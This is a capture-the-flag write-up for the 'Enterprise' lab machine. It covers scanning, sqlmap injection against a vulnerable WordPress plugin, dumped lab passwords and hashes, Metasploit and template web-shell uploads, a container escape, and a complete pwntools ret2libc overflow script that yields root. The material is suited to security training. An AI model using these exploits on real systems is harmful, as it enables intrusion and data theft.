Enterprise write-up
Ανάλυση του Enterprise
Enumeration
Port scanning
We scan the full range of TCP ports using masscan:
$ sudo masscan -e tun0 -p0-65535 --max-rate 500 10.10.10.61
Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2018-03-15 09:28:39 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 8080/tcp on 10.10.10.61
Discovered open port 443/tcp on 10.10.10.61
Discovered open port 80/tcp on 10.10.10.61
Discovered open port 22/tcp on 10.10.10.61
Discovered open port 32812/tcp on 10.10.10.61
rate: 0.00-kpps, 100.00% done, waiting 0-secs, found=5
We found TCP ports 22, 80, 443, 8080 and 32812 open. Let’s explore them using nmap:
$ sudo nmap -A -p22,80,443,8080,32812 10.10.10.61
Starting Nmap 7.60 ( https://nmap.org ) at 2018-03-15 11:33 EET
Nmap scan report for 10.10.10.61
Host is up (0.10s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh (protocol 2.0)
| fingerprint-strings:
| NULL:
|_ SSH-2.0-OpenSSH_7.4p1 Ubuntu-10
| ssh-hostkey:
| 2048 c4:e9:8c:c5:b5:52:23:f4:b8:ce:d1:96:4a:c0:fa:ac (RSA)
| 256 f3:9a:85:58:aa:d9:81:38:2d:ea:15:18:f7:8e:dd:42 (ECDSA)
|_ 256 de:bf:11:6d:c0:27:e3:fc:1b:34:c0:4f:4f:6c:76:8b (EdDSA)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-generator: WordPress 4.8.1
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: USS Enterprise – Ships Log
443/tcp open ssl/http Apache httpd 2.4.25 ((Ubuntu))
|_http-title: 400 Bad Request
| ssl-cert: Subject: commonName=enterprise.local/organizationName=USS Enterprise/stateOrProvinceName=United Federation of Planets/countryName=UK
| Not valid before: 2017-08-25T10:35:14
|_Not valid after: 2017-09-24T10:35:14
|_ssl-date: TLS randomness does not represent time
8080/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-generator: Joomla! - Open Source Content Management
|_http-open-proxy: Proxy might be redirecting requests
| http-robots.txt: 15 disallowed entries
| /joomla/administrator/ /administrator/ /bin/ /cache/
| /cli/ /components/ /includes/ /installation/ /language/
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Home
32812/tcp open unknown
| fingerprint-strings:
| GenericLines, GetRequest, HTTPOptions:
| _______ _______ ______ _______
| |_____| |_____/ |______
| |_____ |_____ | | | _ ______|
| Welcome to the Library Computer Access and Retrieval System
| Enter Bridge Access Code:
| Invalid Code
| Terminating Console
| NULL:
| _______ _______ ______ _______
| |_____| |_____/ |______
| |_____ |_____ | | | _ ______|
| Welcome to the Library Computer Access and Retrieval System
|_ Enter Bridge Access Code:
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port22-TCP:V=7.60%I=7%D=3/15%Time=5AAA3DEE%P=x86_64-pc-linux-gnu%r(NULL
SF:,20,"SSH-2\.0-OpenSSH_7\.4p1\x20Ubuntu-10\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port32812-TCP:V=7.60%I=7%D=3/15%Time=5AAA3DEE%P=x86_64-pc-linux-gnu%r(N
SF:ULL,ED,"\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20_______\x20_______\x20\x20______\x20_______\n\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\|\x20\x20\x20\x20\x20\x20\|\x20\x20\x20\x20\x20\x
SF:20\x20\|_____\|\x20\|_____/\x20\|______\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\|_____\x20\|_____\x20\x20\|\x20\x20\x20\x20\x20\|\x20\|\x20\
SF:x20\x20\x20\\_\x20______\|\n\nWelcome\x20to\x20the\x20Library\x20Comput
SF:er\x20Access\x20and\x20Retrieval\x20System\n\nEnter\x20Bridge\x20Access
SF:\x20Code:\x20\n")%r(GenericLines,110,"\n\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20_______\x20_______\x20\x20______\x
SF:20_______\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|\x20\x20\x20\x20\x
SF:20\x20\|\x20\x20\x20\x20\x20\x20\x20\|_____\|\x20\|_____/\x20\|______\n
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|_____\x20\|_____\x20\x20\|\x2
SF:0\x20\x20\x20\x20\|\x20\|\x20\x20\x20\x20\\_\x20______\|\n\nWelcome\x20
SF:to\x20the\x20Library\x20Computer\x20Access\x20and\x20Retrieval\x20Syste
SF:m\n\nEnter\x20Bridge\x20Access\x20Code:\x20\n\nInvalid\x20Code\nTermina
SF:ting\x20Console\n\n")%r(GetRequest,110,"\n\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_______\x20_______\x20\x20______
SF:\x20_______\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|\x20\x20\x20\x20
SF:\x20\x20\|\x20\x20\x20\x20\x20\x20\x20\|_____\|\x20\|_____/\x20\|______
SF:\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|_____\x20\|_____\x20\x20\|\
SF:x20\x20\x20\x20\x20\|\x20\|\x20\x20\x20\x20\\_\x20______\|\n\nWelcome\x
SF:20to\x20the\x20Library\x20Computer\x20Access\x20and\x20Retrieval\x20Sys
SF:tem\n\nEnter\x20Bridge\x20Access\x20Code:\x20\n\nInvalid\x20Code\nTermi
SF:nating\x20Console\n\n")%r(HTTPOptions,110,"\n\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_______\x20_______\x20\x20___
SF:___\x20_______\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|\x20\x20\x20\
SF:x20\x20\x20\|\x20\x20\x20\x20\x20\x20\x20\|_____\|\x20\|_____/\x20\|___
SF:___\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|_____\x20\|_____\x20\x20
SF:\|\x20\x20\x20\x20\x20\|\x20\|\x20\x20\x20\x20\\_\x20______\|\n\nWelcom
SF:e\x20to\x20the\x20Library\x20Computer\x20Access\x20and\x20Retrieval\x20
SF:System\n\nEnter\x20Bridge\x20Access\x20Code:\x20\n\nInvalid\x20Code\nTe
SF:rminating\x20Console\n\n");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.12 (95%), Linux 3.13 (95%), Linux 3.16 (95%), Linux 3.18 (95%), Linux 3.2 - 4.8 (95%), Linux 3.8 - 3.11 (95%), Linux 4.2 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%)
Brute-forcing directories and files
Port 80
$ dirb http://10.10.10.61/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Thu Mar 15 13:28:08 2018
URL_BASE: http://10.10.10.61/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.61/ ----
+ http://10.10.10.61/index.php (CODE:301|SIZE:0)
+ http://10.10.10.61/server-status (CODE:403|SIZE:299)
==> DIRECTORY: http://10.10.10.61/wp-admin/
==> DIRECTORY: http://10.10.10.61/wp-content/
==> DIRECTORY: http://10.10.10.61/wp-includes/
+ http://10.10.10.61/xmlrpc.php (CODE:405|SIZE:42)
---- Entering directory: http://10.10.10.61/wp-admin/ ----
+ http://10.10.10.61/wp-admin/admin.php (CODE:302|SIZE:0)
==> DIRECTORY: http://10.10.10.61/wp-admin/css/
==> DIRECTORY: http://10.10.10.61/wp-admin/images/
==> DIRECTORY: http://10.10.10.61/wp-admin/includes/
+ http://10.10.10.61/wp-admin/index.php (CODE:302|SIZE:0)
==> DIRECTORY: http://10.10.10.61/wp-admin/js/
==> DIRECTORY: http://10.10.10.61/wp-admin/maint/
==> DIRECTORY: http://10.10.10.61/wp-admin/network/
==> DIRECTORY: http://10.10.10.61/wp-admin/user/
---- Entering directory: http://10.10.10.61/wp-content/ ----
+ http://10.10.10.61/wp-content/index.php (CODE:200|SIZE:0)
==> DIRECTORY: http://10.10.10.61/wp-content/languages/
==> DIRECTORY: http://10.10.10.61/wp-content/plugins/
==> DIRECTORY: http://10.10.10.61/wp-content/themes/
==> DIRECTORY: http://10.10.10.61/wp-content/upgrade/
==> DIRECTORY: http://10.10.10.61/wp-content/uploads/
---- Entering directory: http://10.10.10.61/wp-includes/ ----
==> DIRECTORY: http://10.10.10.61/wp-includes/certificates/
==> DIRECTORY: http://10.10.10.61/wp-includes/css/
==> DIRECTORY: http://10.10.10.61/wp-includes/customize/
==> DIRECTORY: http://10.10.10.61/wp-includes/fonts/
==> DIRECTORY: http://10.10.10.61/wp-includes/images/
Port 443
$ dirb https://10.10.10.61/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Thu Mar 15 12:13:24 2018
URL_BASE: https://10.10.10.61/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: https://10.10.10.61/ ----
==> DIRECTORY: https://10.10.10.61/files/
+ https://10.10.10.61/index.html (CODE:200|SIZE:10918)
+ https://10.10.10.61/server-status (CODE:403|SIZE:300)
---- Entering directory: https://10.10.10.61/files/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
Port 8080
$ dirb http://10.10.10.61:8080/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Thu Mar 15 16:19:44 2018
URL_BASE: http://10.10.10.61:8080/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.61:8080/ ----
+ http://10.10.10.61:8080/0 (CODE:200|SIZE:7678)
+ http://10.10.10.61:8080/01 (CODE:200|SIZE:8286)
+ http://10.10.10.61:8080/02 (CODE:200|SIZE:8595)
+ http://10.10.10.61:8080/1 (CODE:200|SIZE:8285)
+ http://10.10.10.61:8080/1x1 (CODE:200|SIZE:8287)
+ http://10.10.10.61:8080/2 (CODE:200|SIZE:8594)
+ http://10.10.10.61:8080/2g (CODE:200|SIZE:8595)
+ http://10.10.10.61:8080/about (CODE:200|SIZE:8160)
+ http://10.10.10.61:8080/About (CODE:200|SIZE:8160)
If we visit https://10.10.10.61/files/ we discover an archive lcars.zip which contains 3 files:
501 Oct 17 04:25 lcars_db.php
624 Oct 17 04:32 lcars_dbpost.php
377 Oct 17 07:53 lcars.php
If we look inside lcars.php we see some info:
...
Plugin Name: lcars
...
So, maybe there is installed a wordpress plugin named lcars… Interesting. Let’s have a look inside lcars_db.php:
<?php
include "/var/www/html/wp-config.php";
$db = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
// Test the connection:
if (mysqli_connect_errno()){
// Connection Error
exit("Couldn't connect to the database: ".mysqli_connect_error());
}
// test to retireve an ID
if (isset($_GET['query'])){
$query = $_GET['query'];
$sql = "SELECT ID FROM wp_posts WHERE post_name = $query";
$result = $db->query($sql);
echo $result;
} else {
echo "Failed to read query";
}
?>
Nice. I think this code begs for an SQL injection…
SQL Injection
Let’s use sqlmap to exploit this SQLI:
$ sqlmap -u "http://10.10.10.61/wp-content/plugins/lcars/lcars_db.php?query=22" --dbms=mysql
sqlmap identified the following injection point(s) with a total of 40 HTTP(s) requests:
---
Parameter: query (GET)
Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - Parameter replace
Payload: query=(SELECT (CASE WHEN (3344=3344) THEN 3344 ELSE 3344*(SELECT 3344 FROM INFORMATION_SCHEMA.PLUGINS) END))
Type: error-based
Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
Payload: query=(SELECT 3017 FROM(SELECT COUNT(*),CONCAT(0x716b6a7871,(SELECT (ELT(3017=3017,1))),0x716b717871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
---
Let’s see what databases we have:
$ sqlmap -u "http://10.10.10.61/wp-content/plugins/lcars/lcars_db.php?query=22" --dbms=mysql --dbs
web server operating system: Linux Debian 8.0 (jessie)
web application technology: PHP 5.6.31, Apache 2.4.10
back-end DBMS: MySQL >= 5.0.0
available databases [8]:
[*] information_schema
[*] joomla
[*] joomladb
[*] mysql
[*] performance_schema
[*] sys
[*] wordpress
[*] wordpressdb
Dumping the wordpress database
Let’s dump the wordpress database:
$ sqlmap -u "http://10.10.10.61/wp-content/plugins/lcars/lcars_db.php?query=22" --dbms=mysql -D wordpress --dump
...
wp_posts
--------
ID,guid,pinged,to_ping,post_date,post_type,post_name,menu_order,post_title,post_status,post_parent,ping_status,post_author,post_content,post_excerpt,post_date_gmt,post_modified,comment_count,post_password,post_mime_type,comment_status,post_modified_gmt,post_content_filtered
6,http://10.10.10.61/?p=66,<blank>,<blank>,2017-09-06 15:40:30,post,<blank>,0,Passwords,draft,0,open,1,Needed somewhere to put some passwords quickly\r\n\r\nZxJyhGem4k338S2Y\r\n\r\nenterprisencc170\r\n\r\nZD3YxfnSjezg67JZ\r\n\r\nu*Z14ru0p#ttj83zS6\r\n\r\n \r\n\r\n ,<blank>,0000-00-00 00:00:00,2017-09-06 15:40:30,0,<blank>,<blank>,open,2017-09-06 14:40:30,<blank>
67,http://10.10.10.61/?p=67,<blank>,<blank>,2017-09-06
...
Nice, we have found some passwords: Passwords: ZxJyhGem4k338S2Y, enterprisencc170, ZD3YxfnSjezg67JZ, u*Z14ru0p#ttj83zS6. But we lack a username. Let’s use wpscan to enumerate users:
$ wpscan --url http://10.10.10.61/wp-content -e u
...
[i] User(s) Identified:
[+] william.riker
| Detected By: Author Posts - Display Name (Passive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] william-riker
| Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
...
If we do some tests, we will see that the credentials william.riker:u*Z14ru0p#ttj83zS6 are working for http://10.10.10.61/wp-login.php
Dumping the joomladb database
Now let’s dump the joomladb database:
$ sqlmap -u "http://10.10.10.61/wp-content/plugins/lcars/lcars_db.php?query=22" --dbms=mysql -D joomladb --dump
edz2g_users
-----------
id,name,otep,email,block,otpKey,params,username,password,sendEmail,activation,resetCount,registerDate,requireReset,lastResetTime,lastvisitDate
400,Super User,<blank>,geordi.la.forge@10.10.10.61,0,<blank>,"{""admin_style"":"""",""admin_language"":"""",""language"":"""",""editor"":"""",""helpsite"":"""",""timezone"":""""}",geordi.la.forge,$2y$10$cXSgEkNQGBBUneDKXq9gU.8RAf37GyN7JIrPE7us9UBMR9uDDKaWy,1,0,0,2017-09-03 19:30:04,0,0000-00-00 00:00:00,2017-10-30 13:59:06
401,Guinan,<blank>,guinan@10.10.10.61,0,<blank>,"{""admin_style"":"""",""admin_language"":"""",""language"":"""",""editor"":"""",""helpsite"":"""",""timezone"":""""}",Guinan,$2y$10$90gyQVv7oL6CCN8lF/0LYulrjKRExceg2i0147/Ewpb6tBzHaqL2q,0,<blank>,0,2017-09-06 12:38:03,0,0000-00-00 00:00:00,0000-00-00 00:00:00
Nice, we have found the credentials geordi.la.forge:ZD3YxfnSjezg67JZ for http://10.10.10.61:8080/administrator
Getting shells
Getting shell on Wordpress container
We can get a shell on the wordpress container by editing or uploading plugins. You can do it via the web portal or metasploit etc:
msf exploit(handler) > use exploit/unix/webapp/wp_admin_shell_upload
msf exploit(wp_admin_shell_upload) > info
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD u*Z14ru0p#ttj83zS6 yes The WordPress password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 10.10.10.61 yes The target address
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
USERNAME william.riker yes The WordPress username to authenticate with
VHOST no HTTP server virtual host
Getting shell on Joomla container
We can get a shell on the Joomla container by editing the index.php of a template: Then just visit the url of that template: http://10.10.10.61:8080/templates/beez3
Privilege escalation
Escaping from the Joomla container
We have a common shared folder /var/www/html/files/ between the Joomla container and the host on port 403. Therefore, if we upload our shell to /var/www/html/files/shell.php and then visit https://10.10.10.61/files/shell.php we can escape the Joomla container.
Getting root
Port 32812 gave some interesting output on nmap scanning. Let’s use nc to check it:
$ nc 10.10.10.61 32812
nc: using stream socket
_______ _______ ______ _______
| | |_____| |_____/ |______
|_____ |_____ | | | \_ ______|
Welcome to the Library Computer Access and Retrieval System
Enter Bridge Access Code:
Unfortunately we don’t know the code. But now we have a shell. Let’s see what is binding on port 32812
$ netstat -lntup | grep 32812
tcp 0 0 0.0.0.0:32812 0.0.0.0:* LISTEN 1471/xinetd
The xinetd daemon listens for incoming requests over a network and launches the appropriate service. Let’s find what that service is:
$ pstree
systemd-+-VGAuthService
|-accounts-daemon-+-{gdbus}
| `-{gmain}
|-acpid
|-agetty
|-apache2---15*[apache2]
|-atd
|-cron
|-dbus-daemon
|-dockerd-+-docker-containe-+-docker-containe-+-mysqld---37*[{mysqld}]
| | | `-9*[{docker-containe}]
| | |-docker-containe-+-apache2---10*[apache2]
| | | `-8*[{docker-containe}]
| | |-docker-containe-+-apache2-+-2*[apache2-sh-php-{msf}]
| | | | `-10*[apache2]
| | | `-9*[{docker-containe}]
| | `-13*[{docker-containe}]
| |-docker-proxy---4*[{docker-proxy}]
| |-docker-proxy---3*[{docker-proxy}]
| `-16*[{dockerd}]
|-irqbalance
|-2*[iscsid]
|-lvmetad
|-lxcfs---2*[{lxcfs}]
|-polkitd-+-{gdbus}
| `-{gmain}
|-rsyslogd-+-{in:imklog}
| |-{in:imuxsock}
| `-{rs:main Q:Reg}
|-snapd---7*[{snapd}]
|-sshd
|-systemd---(sd-pam)
|-systemd-journal
|-systemd-logind
|-systemd-resolve
|-systemd-timesyn---{sd-resolve}
|-systemd-udevd
|-vmtoolsd---{gmain}
`-xinetd---lcars
Well, the service is named “lcars”:
$ which lcars
/bin/lcars
Using ltrace we discover the access code for lcars:
$ ltrace /bin/lcars
...
strcmp("somedummyinput\n", "picarda1") = -1
...
If we explore a little the lcars app, we discover that there is a segmentation fault / buffer overflow:
Enter Bridge Access Code:
picarda1
Welcome to the Library Computer Access and Retrieval System
LCARS Bridge Secondary Controls -- Main Menu:
1. Navigation
2. Ships Log
3. Science
4. Security
5. StellaCartography
6. Engineering
7. Exit
Waiting for input:
4
Disable Security Force Fields
Enter Security Override:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
Let’s find more about this using gdb:
$ gdb /bin/lcars
(gdb) $ info functions
All defined functions:
Non-debugging symbols:
0x00000508 _init
0x00000540 strcmp@plt
0x00000550 setresuid@plt
0x00000560 printf@plt
0x00000570 fflush@plt
0x00000580 fgets@plt
0x00000590 puts@plt
0x000005a0 exit@plt
0x000005b0 __libc_start_main@plt
0x000005c0 __isoc99_scanf@plt
0x000005e0 _start
0x00000620 __x86.get_pc_thunk.bx
0x00000630 deregister_tm_clones
0x00000670 register_tm_clones
0x000006c0 __do_global_dtors_aux
0x00000710 frame_dummy
0x0000074c __x86.get_pc_thunk.dx
0x00000750 startScreen
0x000007d4 disableForcefields
0x0000085e main_menu
0x00000b6a unable
0x00000ba8 bridgeAuth
0x00000c91 main
0x00000d30 __libc_csu_init
0x00000d90 __libc_csu_fini
0x00000d94 _fini
Let’s have a look inside the function disableForcefields:
(gdb) $ set disassembly-flavor intel
(gdb) $ disass disableForcefields
Dump of assembler code for function disableForcefields:
0x000007d4 <+0>: push ebp
0x000007d5 <+1>: mov ebp,esp
0x000007d7 <+3>: push ebx
0x000007d8 <+4>: sub esp,0xd4
0x000007de <+10>: call 0x620 <__x86.get_pc_thunk.bx>
0x000007e3 <+15>: add ebx,0x281d
0x000007e9 <+21>: call 0x750 <startScreen>
0x000007ee <+26>: sub esp,0xc
0x000007f1 <+29>: lea eax,[ebx-0x2173]
0x000007f7 <+35>: push eax
0x000007f8 <+36>: call 0x590 <puts@plt>
0x000007fd <+41>: add esp,0x10
0x00000800 <+44>: sub esp,0xc
0x00000803 <+47>: lea eax,[ebx-0x2155]
0x00000809 <+53>: push eax
0x0000080a <+54>: call 0x590 <puts@plt>
0x0000080f <+59>: add esp,0x10
0x00000812 <+62>: mov eax,DWORD PTR [ebx-0x10]
0x00000818 <+68>: mov eax,DWORD PTR [eax]
0x0000081a <+70>: sub esp,0xc
0x0000081d <+73>: push eax
0x0000081e <+74>: call 0x570 <fflush@plt>
0x00000823 <+79>: add esp,0x10
0x00000826 <+82>: sub esp,0x8
0x00000829 <+85>: lea eax,[ebp-0xd0]
0x0000082f <+91>: push eax
0x00000830 <+92>: lea eax,[ebx-0x213c]
0x00000836 <+98>: push eax
0x00000837 <+99>: call 0x5c0 <__isoc99_scanf@plt>
0x0000083c <+104>: add esp,0x10
0x0000083f <+107>: sub esp,0x8
0x00000842 <+110>: lea eax,[ebp-0xd0]
0x00000848 <+116>: push eax
0x00000849 <+117>: lea eax,[ebx-0x2138]
0x0000084f <+123>: push eax
0x00000850 <+124>: call 0x560 <printf@plt>
0x00000855 <+129>: add esp,0x10
0x00000858 <+132>: nop
0x00000859 <+133>: mov ebx,DWORD PTR [ebp-0x4]
0x0000085c <+136>: leave
0x0000085d <+137>: ret
End of assembler dump.
Let’s explain some things. In general, when we look at the disassembly code at the top of a function we’ll see something like this:
push ebp //backup caller's ebp
mov ebp,esp //set callee's ebp to esp
sub esp, <some number> //stack space for local variables
The ebp register will point to the top of our stack for this frame, and esp will point to the next available byte on the stack (stacks typically grow downwards). Now, although we can try different string sizes to find out the correct size for our payload header, we can also try to calculate it. It is quite simple actually. We just find the difference between the numbers in commands that subtract from esp (sub esp, ) and those in commands that add to esp (add esp, ) till the call to __isoc99_scanf function.
...
0x000007d8 <+4>: sub $0xd4,%esp
...
0x000007ee <+26>: sub $0xc,%esp
...
0x000007fd <+41>: add $0x10,%esp
0x00000800 <+44>: sub $0xc,%esp
...
0x0000080f <+59>: add $0x10,%esp
...
0x0000081a <+70>: sub $0xc,%esp
...
0x00000823 <+79>: add $0x10,%esp
0x00000826 <+82>: sub $0x8,%esp
...
Therefore: 0xd4 + 0xc - 0x10 + 0xc - 0x10 + 0xc - 0x10 + 0x8 = 0xd0 = 208
In order to overwrite the return address (i.e. eip) with our payload, we have to add 4 to account for pushing caller’s ebp into the stack. So our payload header will be 208+4 = 212. If you don’t know what I am talking about read this: https://sploitfun.wordpress.com/2015/05/08/classic-stack-based-buffer-overflow/
Now, let’s check if ASLR is enabled on the box:
$ cat /proc/sys/kernel/randomize_va_space
0
Nice, ASLR is disabled. Now let’s find some useful addresses for our ret2libc payload:
gdb /bin/lcars
(gdb) print &system
$1 = (<text variable, no debug info> *) 0xf7e4c060 <system>
(gdb) print &exit
$2 = (<text variable, no debug info> *) 0xf7e3faf0 <exit>
find &system,+9999999,"/bin/sh"
0xf7f70a0f
If we try to use the address 0xf7f70a0f, it won’t work because it contains a newline ASCII code (0x0a). Depending on the context, the scanf() function either removes whitespace or stops reading after a whitespace.
Let’s search for plain ‘sh’:
(gdb) find &system,+9999999,"sh"
0xf7f6ddd5
0xf7f6e7e1
0xf7f70a14
0xf7f72582
The address 0xf7f6ddd5 seems just fine.
Autopwn script
Here is an autopwn script I wrote:
#!/usr/bin/env python2
# Author: Alamot
import time
import struct
from pwn import *
from subprocess import call
DEBUG = False
RHOST = "10.10.10.61"
RPORT = 32812
if DEBUG:
context.log_level = 'debug'
else:
context.log_level = 'info'
def conv(num):
return struct.pack("<I",num)
payload = "A" * 212
payload += conv(0xf7e4c060) # system()
payload += conv(0xf7e3faf0) # exit()
payload += conv(0xf7f6ddd5) # 'sh'
r = remote(RHOST, RPORT)
r.recvuntil("Enter Bridge Access Code: ")
r.sendline("picarda1")
r.recvuntil("Waiting for input: ")
r.sendline("4")
r.recvuntil("Enter Security Override:")
r.sendline(payload)
r.interactive()
That’s all folks! :)
$ ./pwn_lcars.py
[+] Opening connection to 10.10.10.61 on port 32812: Done
[*] Switching to interactive mode
$ whoami
root